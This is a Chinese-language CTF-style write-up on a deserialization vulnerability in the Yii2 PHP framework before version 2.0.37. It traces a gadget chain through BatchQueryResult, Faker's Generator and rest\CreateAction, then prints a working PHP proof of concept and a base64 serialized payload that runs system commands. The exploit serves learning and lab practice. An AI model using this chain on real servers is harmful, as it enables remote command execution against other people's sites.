yii介绍
_Yii 是_一个基于组件的高性能PHP 框架,用于快速开发大型Web 应用。它使Web开发中的可复用度最大化,可以显著提高你的Web应用开发速度。
环境搭建
这个漏洞是在2.0.37之前的,下载链接https://github.com/yiisoft/yii2/releases/tag/2.0.37,记得要 修改/config/web.php里的cookieValidationKey为任何值防止报错
但是因为ctfshow里用的是2.0.3版本的,所以我就下的是这个。可以直接访问他的web目录,或者进去他的根目录然后php yii serve
然后因为我们是需要反序列化的,我们要有一个入口点,可以在controllers\SiteController.php里面添加
漏洞分析
反序列化的入口是在vendor\yiisoft\yii2\db\BatchQueryResult.php
跟进reset()方法
发现这里有一个close(),可以从这里调用魔术方法__call()
于是我们可以全局搜索
最后在vendor\fzaninotto\faker\src\Faker\Generator.php找到了我们需要的
跟进format方法
可以发现$this->formatters是可控的,然后$method=’close’被传给$formatter,$arguments为空
由call_user_func_array这个函数的定义,我们是可以去用这个执行一个无参的函数的
于是就可以全局查找有没有那种有危险函数而且可控的无参方法,使用正则表达式function \w+\(\)(\n.*)\{(\n.*)+call_user_func\((注意空格啥的别漏了)
最后在vendor\yiisoft\yii2\rest\CreateAction.php这里找到了可以用的,$this->checkAccess和$this->id都可控,可以实现命令执行
于是就可以编写poc了
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
这里说一下这个namespace的问题,一定要严格的按照源码里的路径写,不然会报错的,比如CreateAction.php在namespace yii\rest,poc的class CreateAction就要在yii\rest
最后payload是?r=site/gdd&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjM6ImRpciI7fWk6MTtzOjM6InJ1biI7fX19fQ==